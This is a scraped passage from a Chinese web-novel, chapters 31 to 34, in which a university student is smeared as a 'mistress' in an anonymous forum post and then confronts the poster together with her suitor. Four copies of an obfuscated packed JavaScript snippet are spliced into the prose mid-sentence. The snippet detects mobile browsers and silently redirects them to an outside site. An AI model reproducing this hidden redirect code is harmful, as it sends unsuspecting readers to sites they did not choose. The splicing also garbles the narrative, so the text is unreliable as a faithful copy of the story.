“天呐，恕我不能理解学霸。小姐姐，你是隔壁首都大学的学生吗？”女生戴着一副圆滚滚的眼镜，惊讶时脸边的刘海微微翘起，划出可爱的弧度。 云眠点了点头。 女生从本子里撕了两张纸给她，微笑道：“这么巧呀，我也是！你是学什么的？” “数学。你呢？”云眠接过了纸，“谢谢。” “不客气啦！我就是垃圾专业啦！”女生冲她摆了摆手，“我先走啦，有缘学校见！” 直到太阳彻底落地，云眠做完了两张纸的解析几何。 店员来来往往收拾着桌面，云眠将纸折了几次，塞进了口袋。这时拿起手机，她才发现已经收到了满屏的消息。 她先点进了班群。是全国竞赛。 她又点开了迟郁的消息，打算从头开始看，这时—— “云眠！” 闻声，云眠手指一顿，锁住了屏幕。她扭头，便见付语容风风火火地从桌子缝里蹿了过来。 她边跑边喊，丝毫不顾及咖啡厅的其他人：“云眠！我给你发了一下午消息，你聋了吗？？” 云眠皱眉：“你再这么喊我就要聋了。” “给你发消息你也听不见，还不如聋了算了。”付语容翻了个白眼。 “付语容。”云眠说。 她声音冷淡平静，付语容“啊”了一声，总算正过脸看她。 “手机有静音选项。”云眠补充。 付语容哑口无言，瞪了她一眼。 “所以。”云眠问，“你找我有事吗？” “有啊。”说完，付语容却没了下文。她视线瞟来瞟去，一双手背在身后，不知道捏着什么。 云眠都快没耐心了，付语容总算伸出了手，打开，只见那是一支口红，静静地躺着。 “我，我只是今天收拾宿舍的时候突然翻出来了这支，感觉挺适合你的。”付语容看都没看她，飞快道，“全新的，没拆。跟我朋友的风格也都不搭，只能便宜你了。” 云眠没说话。 “快点拿着啊，不要算了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621199|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “谢谢。”云眠说，“多少钱？我转你。” “我怎么可能让你花钱买啊！那我大老远跑来找你干什么？？”付语容怼道。 “……那谢谢。” 付语容又白了她一眼，扔到了她怀里。 “不过我看你这个样子，也只会乱七八糟涂一涂吧？真是浪费了。”付语容说，“你今晚之内来宿舍找我，我可以大发慈悲帮你化个妆。” 云眠意外地看了她一眼。 付语容被她看得有些不自在，脸都红了：“干嘛？你不乐意？” “没。”云眠笑了笑，“谢谢。” 这么一来二去，等到云眠回到宿舍时，她才想起来还有一堆消息没有回复。她刚拿出手机—— 徐燕在同一秒猛地从床上坐了起来：“天！眠眠！” 云眠一顿。 于淼快步走到她身后把门关了起来。 云眠摸不着头脑：“怎么了这是？” “天哪，你今天下午到底去哪了？你知不知道网上都炸锅了！”徐燕担忧地看着她。 “对啊眠眠，我们都很担心你。”林晓琳说。 于淼关好了门，来到云眠身边：“是这样的，眠眠。你记不记得之前网上那个帖子？” 时间实在是太久远了。云眠下意识问：“哪个？” “就当时你跟迟郁那个，迟郁本人还出来回复了，在贴吧离盖了好几千楼。” 云眠点了点头：“想起来了。” 徐燕抢着说道：“其实我们后来有听说，班主任找过你。那个……你就别问从哪里传出来的了。” 在大学里，这种消息向来不是透明的。云眠“嗯”了一声。 “然后，我们都以为结束了来着。结果今天下午突然有人在贴吧发了个新帖子。用的还是小号！” “什么帖子？” 徐燕吸了一口气，小声道：“你自己看吧……” 云眠接过了她的手机，只见上面赫然显示着一行大字： [实话实说，真的没有以前一中的校友吗？浅谈一下关于某对“情侣”的看法] [1L：当时谁不知道ym孤僻的要死。。而且cy刚开始喜欢的根本不是她吧？] [2L：（耳朵）] [3L：蹲。] [12L：到底什么事啊，楼主能不能说清楚一点！] [15L：啊……你这么说的话我倒是也想起来了！] [16L：到底啥啊！！楼上你快点说好不好！！] [36L：这么多人蹲那我就直说了。先捂好马甲，我就不说我是哪个班的了，总之当时沸沸扬扬的我们学校都知道，楼上也有知道的。] [37L：ym一开始根本不是这学校的，是后来才转过来的，而且她当时跟cy根本不认识，当时cy就有女朋友了，我们都知道ym其实是小三。] [38L：天啊！！！好炸裂！！] [40L：然后呢然后呢？？] [100L：救命楼主人呢？是不是被暗。杀了？？] [607L：抱歉大家……刚刚写作业去了。] [608L：回来就好TT楼主我们等你等得好辛苦。] [609L：呃，cy女友是谁啊，该不会是我想的那个吧……] [630L：当时我们都知道的，cy女朋友现在也在首都大，叫fyr] 31. 冷风 一言惊起千层浪，楼下顿时跟炸锅了一样。 [641L：求解码，fyr是谁？？] [666L：我知道！！是不是长得很漂亮人缘很好的那个！当时开学典礼时她坐我前面我还和她搭话了！] [689L：本人也是一中的，可以作证。当时cy经常和fyr一起走还聊天，看起来很亲密。] [700L：可是cy之前不是在贴吧回了很多层楼吗。。说他一直喜欢云眠还追她来着？不能吧？] [702L：呵呵，回楼上，谁知道她用了什么邪招。] [710L：你们说话别太难听吧，有必要这么说一个女生吗？还有能不能别把人家名字打出来啊。] [720L：楼上你是圣。母吧。我们骂小三怎么了，还是说你也是小三啊？这么心疼的。我们这种正常女性，只会觉得某人这样子实在是太不要脸！迟帅哥怎么看上这么个女的。（白眼）] [732L：天，你们好无聊，这有什么好讨论的，有这空多学点习不好吗？？] [733L：你滚，谁逼你看了？] [……] 云眠用自己手机翻完了所有的回帖。 骂什么的都有，比“小三”“不要脸”还过分的比比皆是，一些荒谬离谱的谣言四起，连她这个当事人都一无所知，什么“她为了迟郁的钱勾引他”“她刻意接近付语容就是为了挑拨他们”，写得比小说还小说。 云眠叹了口气，在右上角点击了举报帖子。随后一脸平静将东西从包里拿出来，开始收拾起来。 在这期间，徐燕她们皆是一脸担忧惊恐与无措地盯着云眠，见她在收拾，三人互相交换了眼神。 最终还是于淼率先开口：“眠眠，你没事吧？” 林晓琳满脸心疼：“我们下午就举报了，待会我们再申几个小号，再多举报几次应该就能删帖了。眠眠你……心里难受就哭吧。” 云眠冲她们笑了笑：“我不想哭，谢谢你们。” “眠眠……”林晓琳走上前拉了拉她的衣角。 徐燕则是一脸愤恨：“这些人真是神经病！她们根本就不认识眠眠，自己在脑子里想了一些乱七八糟的就把罪名按在别人身上！还说得跟真的一样！真的是太可恶了！” 于淼说：“对，眠眠，我们都相信你，你根本不是那种人。” “其实我还是在想……”林晓琳突然道，“你们说发帖的人是谁啊？她分明就是造谣。是不是眠眠太优秀了她嫉妒啊？？” “该不会是付语容吧？”说完这句话，徐燕突然噤了声。 林晓琳犹豫着开口：“……其实我也觉得是。她前段时间不是总来找眠眠吗？每次都大喊大叫，好像眠眠欠她钱一样。而且，我不知道为什么，我觉得她性格好恶劣啊，特别没礼貌。而且这贴吧的人都在夸她，跟水军似的，她又不是明星。” “啊啊啊！我们这样揣测别人是不是不太好啊？”徐燕抓狂，“可是也不算揣测吧！除了她还能有谁啊？我真想冲过去抓住她问一问！！” “问了她会承认吗？”于淼说，“谁敢承认啊，闹这么大。但我们完全没有头绪啊，要不……要不我们过去找她问问？” 三人面面相觑，似乎在说：去吗？现在吗？怎么问？ “我去问问。”云眠说。 抛下这句话，她也刚好收拾完了。云眠拿起付语容刚才送的口红，在三人震惊的目光中出了门。 今天下午，付语容告诉她自己的宿舍在五楼。云眠爬了一层楼梯，刚走到她的宿舍门口便听到了里面传来的尖叫声与破口大骂声，可惜听不清具体细节。 云眠抬手敲了敲门。 那里面的声音戛然而止，过了几秒，宿舍门打开了一条小缝，付语容站在里面，单手堵着门，表情不太好。 云眠：“打扰了。” 付语容看了她一眼，没说话，默默打开了门。 她指引着云眠在自己的椅子上坐下，全程都没有说话，直到云眠坐端正，将那支口红递了过去。 付语容这才恍然大悟般，露出了一副欲言又止的表情。 可云眠等了半天，她都没有主动说话。反而机械般拿出化妆包，将化妆品摆了一桌子。见此情景，云眠主动说：“付语容。” 付语容整个人抖了一下：“啊。” “你累了吗？要不我们改日再化？” “不。不用。”付语容面色平静，但手里的化妆品却摔落在地，洒了满地粉。 “我天，语容，你这可怎么扫呀。”一道甜甜的声音从门口传来。 进来的女生穿着乖巧娴静的长裙套装，淡妆，圆脸，带着圆圆的眼镜。她边走边说，视线从地上转移到付语容脸上，再转移到旁边坐着1的云眠：“哎？好巧呀。” 云眠转过头，发现来人正是下午咖啡厅给她白纸的女生。 付语容冷冷开口：“你俩认识？” 女生笑了笑：“今天下午刚见过，我不是说我去咖啡厅摸鱼嘛。这个小姐姐在那里学了一下午的习呢。对了，学霸，还没问你叫什么名字呢，我叫方心甜，你呢？” “云眠。” “啊，原来你就是云眠呀。我听语容说过你。”方心甜再次笑了笑，便不再说话了，自顾自卸妆洗漱去了。 可她的戛然而止反而更让人尴尬。 付语容用手揽了揽碎了满地的粉，头也不抬道：“云眠，要不你先回去吧，化妆的事……以后再说。” 云眠盯着她：“好呀，不过还有一件事。” 付语容表情一僵，但还是故作冷静：“什么？” “谢谢你送我的口红。”云眠依旧盯着她，笑了笑，一字一句道，“语容，我一直觉得，你可是我高中最好的朋友了。” - “叮咚——” “叮咚——” 迟郁闻声弹起，用极快的速度拿起手机看了一眼——不是云眠。 他又将手机扔了回去。 从他发出消息到现在，已经过了几个小时了。 云眠怎么还没有回复？是没看手机吗？是在练舞吗？还是在做烫花？忙到一下午都没空回复吗？ 不能吧。迟郁心想。 他揉了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621200|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 揉发酸的眼睛，再次拿起了手机，满脸不耐烦地打开微信，点进了方琛的对话框。 下一秒，他猛地愣住。 [方琛：睡了吗？] [方琛：我知道你肯定没睡，出大事了！] [方琛：发送图片] 点开图片，那不堪入目的帖子映入眼帘。迟郁顿时睁大了眼睛，方琛那边的图片还在源源不断地发送，最后直接发来了整个帖子。迟郁眉头紧锁，他越看越生气，到最后气到整个人都在颤抖。 见他迟迟没有回复，方琛的消息又发了过来。 [方琛：你还好吗？兄弟。] [方琛：我已经找我当贴吧管理员的朋友帮着去查了，你放心，我们肯定不会坐视不理，绝对帮你和云眠把这个贱人揪出来。简直是口说无凭，凭空造谣！] [方琛：我那朋友说小号可能有点难查，你别着急啊，你先去安慰安慰云眠吧。] 迟郁拳头攥紧，指尖险些将掌心掐出血来。 [cy：转发帖子] [cy：查。] 给管家发完消息后，迟郁垂眸，重重地深呼吸。一次，两次……他终于保证自己的声音能够保持相对的平静。 他拨打了云眠的电话。 可是云眠没有接。 没有任何犹豫，迟郁立刻跳下床，抓起一件外套便冲了出去！ 李朝阳正端着一盆子水，只觉身边一阵冷风，迟郁飞也似地头都不回地跑了。他愣了愣，转过身，弱弱地问：“……他怎么了？” 没人回答他。 迟郁早已三步并两步地冲下了楼梯，手中的电话仍然在拨号中，不断发出“嘟……嘟……”的响声。 大学的校园总是灯火通明的。从他的宿舍到云眠的宿舍，一路上都有成群结队的玩伴骑着自行车闲逛，肩并肩的情侣诉说着浓情蜜意，摆了一地的调酒摊子，抱着把吉他弹奏唱歌的男生女生。 迟郁真想让他们全都滚开。 几千条回帖，说不定，这些人里便有没长脑子的吃瓜群众。 迟郁真想把他们都打一顿。 也不知道云眠现在怎么样了……她有看到帖子吗？明明下午还什么事情都没发生的，明明云眠已经够累了、够忙了，为什么还要经历这种事？ 不。不是的。 就在下午，就在他正纠结犹豫苦恼“网恋”时。 这个帖子就已经在慢慢发酵了，他却没有发现。 云眠要是受到什么伤害，这其中也有他的一份。他也是加害者，他也不无辜。 更何况——这篇帖子明明是因他而起。 是他的喜欢才让这些人有了伤害云眠的理由。迟郁好后悔，他当时没有过问云眠的感受，便自顾自地在贴吧里回复，说一些恶心的话。事已至此，遭报应了吧。 可为什么受伤的是云眠。 如果云眠出了什么事情…… 迟郁攥紧了拳头。 早秋的晚上很冷，冷风呼啸，落叶纷飞。 迟郁却丝毫不觉得冷，他立于寒风中，只觉浑身血液倒灌，心跳快得像要蹦出来。 32. 等你 首都大学的住宿条件十分优越，唯一美中不足且饱受诟病的是洗衣机是一整层共用的。因此，洗衣机旁总是大排长队，尤其是晚上，总是人满为患，不时还能听到“谁拿我衣服了”“谁用洗衣机洗鞋啊真缺德”等等抓狂的尖叫声。 云眠从付语容宿舍出去后，没有直接回到寝室，反而径自走到洗衣房的拐角旁，靠着墙站着。 虽然想忽略，但她身旁的窃窃私语声实在是让人无法忽视。 “哎哎，你看网上那个是不是她？” “好像是啊，跟视频里长得一样。” “天哪，她还好意思出来。” “这有啥不要意思的，人家脸皮厚呗，咱们比不了。” 云眠突然转过身子，视线一一扫过了她们的脸——那几个女生顿时不说话了，但眼里写着的不屑与排斥依旧清晰可见。 云眠不说话，神色冷淡，直勾勾地盯着她们。 直到其中一个女生被盯得浑身不自在，忍不住怼开口道：“你看什么看啊！？” 云眠弯了弯嘴角：“我在勾引你。” 女生傻了：“你、你说什么呢。” “网上不是说我厚着脸皮天天勾引迟郁吗？”云眠慢悠悠开口，“现在我来勾引你了。” 女生一瞬间脸涨得爆红，刚要说话，却见云眠的视线转开了，她也下意识跟着望向拐角处。 是方心甜。她正拎着脏衣篓，看见云眠，她笑着喊道：“是你呀！云眠！” 也不知是故意还是不小心，总之她这一嗓子喊得周围全都注目了。方才还没注意到的那些女生你看看我，我看看你，一副意味深长的表情，仿佛一切尽在不言中。 反倒是刚才被云眠怼的那个女生看不下去了，没好气地催促：“有什么好看的你们，快点洗衣服行不行？都拍多久了！” 云眠微笑：“好巧。” “对呀~好巧呀~你怎么在这啊？”方心甜一蹦一跳走了过来，“我们又见到了，一定是有缘分吧。” “是啊。我一直想说谢谢你下午给我的草稿纸。”云眠笑了笑，脸上映起浅浅的梨涡，“还好遇到了。” 方心甜一边和其他人扬手打招呼，一边回应道：“小事而已，别这么客气！云眠，你是要回宿舍了吗？那我们下次再聊呀，我可喜欢跟你聊天了！” “是吗”云眠笑道，“那我们加个好友吧。” 方心甜的微信头像和她本人一样甜，是带着圆圆眼镜框的动漫角色，微信名叫：甜心小方。就连朋友圈背景也是粉色的，几十条朋友圈从上滑到下每一条都配着粉嫩的表情包，可见她从穿衣打扮到言行举止都走的可爱风，十分统一。 当然，她的聊天风格也是如此，每句话里总穿插着可爱的表情包。 云眠躺在宿舍的床上，又和她寒暄了几句，说下次一定约饭。 做完这些，云眠总算记起了她还没有回复的消息。点进去，只见迟郁又刷了满屏。就连未接电话也多了十几个。 [迟郁：给你买的话，去哪都顺路的。] [迟郁：小猫探头.jpg] [迟郁：没有别的意思，就是觉得天气好冷好适合吃糖葫芦！^v^] [……] [迟郁：怎么不回我QAQ在忙吗？] [……] [迟郁：云眠，你在哪。] [迟郁：未接电话] [迟郁：你还好吗？] [迟郁：我在你楼下。] 若不是自己已经知道帖子的事，恐怕她还真理解不了迟郁的突然“变脸”。 想了想，云眠打字回复：“现在还在？” 迟郁的电话立刻打了过来，可下一秒又挂断了。 [迟郁：在。] [迟郁：你方便吗？] [迟郁：我在等你。] [眠眠：方便，我现在下楼。] [迟郁：我等你。] 话虽如此，云眠真的没有想好见面了该怎么说。我还好？怎么了？发生什么事了？我知道，但我没事？ 她其实，没到“有事”的地步，但也并非真的“没事”。 流言蜚语是会杀死人的。她从小到大，连升旗仪式都要缩在最不起眼的角落里，从来没有像其他同学一样主动站上讲台侃侃而谈，就连衣柜里都是宽大基础的不起眼的衣服，力图让自己永远都是小透明。 唯一能接受的便是在台上跳舞了吧。即便如此，也希望所有人关注点都只落在她的舞台，而非她本人。 可她现在摇身一变成了首都大学的“网黑”，走在路上都能被人指指点点。就连下楼时都会被擦肩而过的同学交换眼神。就连她完全不认识的同学都能指责她“不要脸”。 现在想想，她伤心吗？想哭吗？ 是有的，但更占据心窝的是。 她很生气。 云眠的气量很小，她只能忍受三天。 - “我查到是谁了。” 云眠看见迟郁时，他正在接电话。楼下闹哄哄的，他站在树下，手机开着免提。于是这句话同时也传进了云眠的耳朵里。 初秋很冷，迟郁穿着单薄的黑色短袖，肩宽腰细，挺拔玉立，可头发却乱糟糟的。 他似乎感应到了云眠的到来，竟也在此刻转过身子——云眠这才发现，他手里还拿着外套。 云眠浅笑：“你带着外套怎么不穿啊，不冷吗？” 她笑着笑着，便望进了迟郁的眼瞳。 二人视线相撞。 迟郁眼底像盈着泪水，满是担忧与酸涩。 像要哭了。 霎时，云眠心底像有一根筋绷紧。泛起酸楚。 迟郁一动不动地望着她。反倒是云眠不好意思，率先错开了视线。 迟郁仿佛刚反应过来一般，也顾不上正在打电话了。冲上前为云眠披上了外套。 云眠张了张嘴，却什么也说不出来。 迟郁紧紧地抱着她，外套的温度和迟郁温暖的胸腔顿时将她裹住。她甚至能听见迟郁的心跳。一下，两下。 “迟郁……” “对不起。” 云眠抚在他后背上的手指顿了顿。 “对不起，都怪我。” “也没有吧……”后面的话云眠没说出口，其实贴吧里骂他的也不少。什么“投了个好胎”“没脑子”种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621201|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种，更有甚者要将他俩各打五十大板，再游街示众，简直是当代精神病大赏。 迟郁抱得更紧，声音闷闷地发出来：“都怪我当时在网上乱说。” “我跟付语容真的，什么都没有。我当时都不认识她。我只喜欢你。从出生到现在，我只喜欢过你，也只喜欢你。” 云眠被他接连的话语砸地眼冒金星，头昏昏沉沉的，脚底也跟踩了棉花似的发软，她“嗯”了一声。 “云眠，我喜欢你。” 闻言，云眠吸了吸鼻子，手指慢慢向上攀附，想将他抱住。 迟郁却在此时突然松开了手。 云眠愣了一下，下一秒便感受到了温度的散失。风一吹，她打了个寒颤。 迟郁帮她拉好了拉链：“你不用急着给我答复。” “啊？”云眠眨了眨眼。 “我会把这件事情解决的。” 见他一脸的严肃认真，云眠忍不住笑了：“哦？怎么解决。” “他们说我之前和别人在一起，我可以把我从小到大，从我们两个认识到我喜欢你的所有证据都拿出来。我心里只有你。他们说你勾引我，我可以证明，是我先勾引的你，他们说你是喜欢我的钱……我家有钱跟我有什么关系，明明你那么好那么优秀，是我配不上你。他们还说……” “停。”云眠听笑了，“你认真的？” 她算是彻底懂了，迟郁就是个彻头彻尾的傻白甜，被人卖了还要帮人数钱的那种。 迟郁点了点头。 他现在在云眠眼中，顿时变成了一只摇着尾巴冒着傻气的傻狗。云眠都气笑了：“你觉得他们造谣，是为了听你讲事实，拿出证据？是想知道真相？” “我不想让他们污蔑你。” “那要是他们不信呢？他们让你拿出你从小到大的日记本，每一天的都展示出来？”云眠故意逗他。 “我小时候没写过日记本。”迟郁皱眉，真的思考起来，“但我高中写过，很多……情书，都有你的名字。” 云眠没想到，迟郁还真有瞒着她的事情。情书？她怎么从来没听说过，她一封都没有见过。 见她不说话，迟郁又继续道：“……对于那个造谣你的人。” 他声音冷到极点：“我会让她付出代价。” “你查到了？”云眠问。 “嗯。”迟郁脸色阴沉下去。 “是谁查的。刚刚跟你打电话的人吗？”云眠问。 “嗯，是我哥的管家。”迟郁自己解释了起来，“是早些年我哥自己选的秘书，他很擅长这方面的事情。” 云眠点头表示自己知道了。 她抬起头看向迟郁，问道：“那……是谁啊。” “方心甜。” 听到意料中的三个字，云眠冷笑了一声。 迟郁问：“你认识？” 云眠柔声道：“太巧了。今天刚认识。” “我让管家去查她家的背景——” “不用。”云眠说，“没必要。” 迟郁还要再说，云眠制止了他，冷笑道：“她怎么对我们，我们也应该怎么对她。你说对吧？” 云眠眨了眨眼。 33. 上课 “所以让我再靠近一点点，因为你太温暖~”舍友一边哼着歌一边写着作业，直到“砰”的一声巨响传来，她吓了一跳，猛地摘下耳机，疑惑道：“语容？你咋啦。” “没拿稳。”付语容随口说了一句。 “你今天都摔了两个化妆品了吧？小心点吧……你还不去洗漱吗？”舍友关心道。 “再等会。” 得到回答，舍友便继续戴上耳机投入到自己的世界里了。 付语容面色阴沉，在每分钟每分钟的等待里，她感觉自己要气死了。 那该死的方心甜，瞅着云眠走了便立马跟着出去了。生怕被她逮住机会，现在都几点了还不回来。她真不信方心甜有什么重要的事需要在外面呆这么久。 时间一分一秒过去，又不知过了多久，方心甜总算拎着脏衣篓回来了。见付语容杵在门口，表情不善，她愣了下，随后又露出标志性笑容：“语容，你怎么还不睡呀？站门口干嘛。” “方心甜，你装什么呢。”付语容开门见山。 方心甜表情僵了一秒：“……你说什么？” “你现在在这装什么，你觉得我是傻逼吗，你觉得我很好糊弄吗？”付语容冷笑一声，话里带着怒火，“我平时够给你脸了吧，你真是干起坏事没完啊，我问你，云眠她得罪你了吗？？” “语容，你在说什么啊，我怎么听不懂。我跟云眠刚认识呀。”方心甜歪了歪头。 “需要我提醒你吗，你上次去举报时我正好在门口。”付语容冷声道，“你自己在宿舍里八卦就算了吧，闹成这样对你有什么好处？” 方心甜盯着她看了几秒，突然笑了，发出不屑的声音：“呵，付语容。你这不也挺能装嘛。” “现在开始替云眠打抱不平了？需要我提醒你吗——某人不是喜欢迟郁吗？” “你！” “我也不想拆穿你啊，结果你非要咄咄逼人。”方心甜彻底褪下了伪装，“云眠被骂，最开心的不是你吗，你不是一直想拆散他俩吗，现在又变成大好人了？进化的时候怎么没告诉我啊。” “我跟你不一样。”付语容实在是讨厌她这副样子，恨不得上去动手，但咬了咬牙还是忍住了，“是，我之前是喜欢过迟郁。我现在不喜欢了不行吗。” “嘴上说着‘云眠她得罪你了吗’，实际上自己也没少干坏事吧。”方心甜满脸嘲讽，学着她的语调。 付语容一瞬间语塞：“我——我没干过你这么肮脏的事！” 说完这句，付语容也沉默了，脸涨得通红。她确实最近一直因为曾经那样对待云眠而十分……内疚。 方心甜则是拍了拍她的肩：“我们两个半斤八两吧~谁也别说谁~对了，我刚刚洗衣服连你的一起洗了，不小心给你染上色了。抱歉啦。” 付语容气得牙痒痒：“那你现在打算怎么办！” “我赔你？”方心甜试探。 “……我是说云眠的事。你觉得迟郁会放过你吗？” 方心甜一副看傻子的表情：“拜托，我用的是小号。” “……你是不是忘了迟郁是谁了？” 方心甜没说话。 沉浸在泡沫般的幻影和恶趣味满足的喜悦中，她确实忘记了。迟郁……是迟家的，迟家怎么可能查不到？不对，她用的是用别人身份证注册的新手机号，怎么可能查到！一定是付语容在骗她！ 可要是真查到了…… “他没有证据。”方心甜突然开口，“你是在录音吗？付语容。” 付语容手指一僵，她藏在袖子里的手机也突然掉到了地上。 “你是不是电视剧看多了，付语容。”方心甜不紧不慢道，“第一，你想录音，手机放桌子上也能录。第二，你如果把录音发出去了，我会把你也供出去。” “现在，删掉。”她说。 - 云眠最后还是吃到了那串糖葫芦，虽然是第二天。 迟郁在后街糖葫芦店开门的第一刻，买到了第一批的冰糖草莓，送去了云眠的教室。 那时正好在课间，教室里人来人往熙熙攘攘的，云眠正趴在桌子上写题，忽然听见门口有人在喊她。 她抬头，发现是徐燕正朝她招手：“眠眠，快来！” 云眠收起耳机走了过去。 只见迟郁穿着白色毛衣，他今天似乎特意打扮过，浑身上下透着一股居家“好男友”风，头发是微卷的，额头上懒散地翘着几根碎发。见云眠过来，他一双眼睛忽地亮了起来，像化开了浓郁的笑意。 云眠向下看，发现他手里拎着满满两大袋的——冰糖草莓。 这两大袋冰糖草莓分遍了整个教室都没分完，就连下课没来得及去办公室的老师手里都被塞上了两根。 而迟郁也顺理成章地带着买来的课本和剩下的半袋冰糖草莓挤进了教室，坐到云眠旁边，笑盈盈地对旁边人道：“吃完了再来拿，还有还有。” 一个女生感叹道：“没想到满课的我，竟然能在一大早吃上后街的食物，感谢眠眠男友的馈赠。” 给迟郁让位的徐燕坐在前排，回头笑眯眯冲他们吐了吐舌头。 云眠戴上了一边耳机：“你怎么来了？” “我今天没课。”迟郁说。 云眠沉默地看了他一眼。 她对迟郁，虽说不是了如指掌，但也挺了解的。 迟郁应该是怕，会有看了那帖子的人对她不友好吧？所以才抱着本书来跟着。 简直跟小狗一样。 但云眠没问出口，无意识地用手指蹭了蹭草稿纸，然后继续拿起了笔演算。 迟郁倒是也安静，一声不吭地翻阅着课本。 “你能看懂吗？”迟郁第三次偷瞄云眠时，她忍不住了，开口道。 迟郁乖巧地笑：“看不懂。” 云眠淡淡道：“你回去吧，我今天课挺多的。” “云眠。”迟郁突然低声叫她。 云眠停笔，抬眼。 “我有一个想法。” “什么？” 迟郁垂眸，试探着问：“你有没有感觉，他们骂我骂的比你少啊？” 其实，说出这句话，是迟郁酝酿了许久的结果。 在往日里他总觉得云眠是女生，是需要他来保护的，是脆弱的，是柔软的。可是，虽不得不承认，但分手后到如今的时间里，他对云眠改观了。 云眠其实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621202|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比他要勇敢，要坚强。 他总想着要默默将所有事都为云眠解决，要一直挡在云眠前面，要成为她的靠山。他没做到，可云眠似乎也强大到不需要。 ——也许是需要的。 但他是否太小看云眠了呢？ 出了这次的事，迟郁的第一反应是云眠一定哭了，他要去替云眠收拾那个人。可云眠没有，不仅没有，她还有自己的办法。 迟郁昨天想了一晚上，他应该无条件的支持云眠。 “哪有嫌自己挨骂少的。”云眠没什么表情。 “我要去跟她对骂。” 云眠皱眉：“你别冲动。” “不是。”迟郁压低了声音，伏在她耳边说了一些话。 片刻后。 云眠笑出了声：“真有你的。” 迟郁也笑了，拿出手机准备着自己的“大计划”。 云眠望着他，慢慢勾起了嘴角，摸了摸自己仍在发痒的耳朵。 - 当天下午，首都大学的贴吧又一次炸锅了。 起因是大名鼎鼎的cy1发帖了。 [cy1：实话实说，真的没有以前一中的校友吗？浅谈一下关于某对“人”的看法] 指向性满满，讽刺意味爆棚的标题。 不管是想吃瓜的，想看互喷的，还是想看迟郁反手撕“渣女”的都点进来了。 可出人意料的是，一楼什么都没有，只有一张微笑的表情包。 除此以外，什么都没有了。 但越是这样，便越能引起讨论。 刚发布的半小时，这个帖子一条回复都没有，反倒是贴吧主页疯狂刷新： [巧克力甜甜圈：啊啊啊这是啥意思？？？] [8182736：吃瓜群众进，他骂的是谁？] [综上所述你很可爱：某人是不是发现某人的真面目了。] [龙傲天111：恕我直言碰到渣女谁也不好受] [哈哈哈哈：已经把我的朋友们都拉来吃瓜了，这是今年首都大最大的瓜吧] 毕竟迟郁是迟家小少爷，他爹又捐了几栋楼，再加上迟郁生人勿进的性格，大家看到帖子的第一反应都不是评论，而是自己开贴讨论了个爽。 当然，这也是除了极少数人外没人骂迟郁的原因，不敢。 直到大家把各种情况都讨论揣测完了，才有胆子大的跑去评论了一条。 [1L：礼貌询问，帅哥这是骂的谁啊？（真的是礼貌问问不喜可删）] 随后，在一楼紧张刺激极速心跳的一分钟后。 迟郁回复了。 [cy1：付语容。] 一楼没再回复。 贴吧的主页又刷新了几页。 [薄荷香草：不是，啥意思啊？那贴是f发的？] [再装豆沙了：这算不算为了现女友骂前女友] [高数放过我：我怎么感觉不太对啊，哪个大佬能再去问一下] 又过了几分钟。迟郁的帖子迎来了第二条评论。 [2L：帅哥，那条帖子是fyr发的吗？] 迟郁秒回。 [cy1:不是。] 34. 安慰 贴吧又再次将这条回复讨论了个底朝天。 大家最好奇也是讨论最凶的问题一直是，迟少爷到底是什么意思。 直到有人看不下去了，直言道：“拜托，首都大有钱人也不少吧！你们用得着对他毕恭毕敬的吗？” 有人回复：“又有钱又帅的呢。” “也有很多啊！” “又有钱又帅又高身材又好家里捐楼首都首富还会弹钢琴的呢。” 没人反驳。 但大家讨论到最后，也得出了结论。 干脆直接问吧，他还能隔着网线打我不成？ 于是—— [3L：礼貌询问，昨天那个帖子说的是真的吗] [cy1：连标点符号都是假的。] [4L：不是fyr那是谁啊，能查到吗？] [cy1：不能。] [5L：……但是怎么证明人家说的是假的啊？] [cy1：你想怎么证明？] [你又没有证据。] [cy1：她有？] [6L：所以迟郁跟云眠是什么关系？] [cy1：我这辈子只喜欢她。] [7L：啊，还有迟郁查不到的东西吗，贴吧这么安全？] [cy1：微笑.jpg] 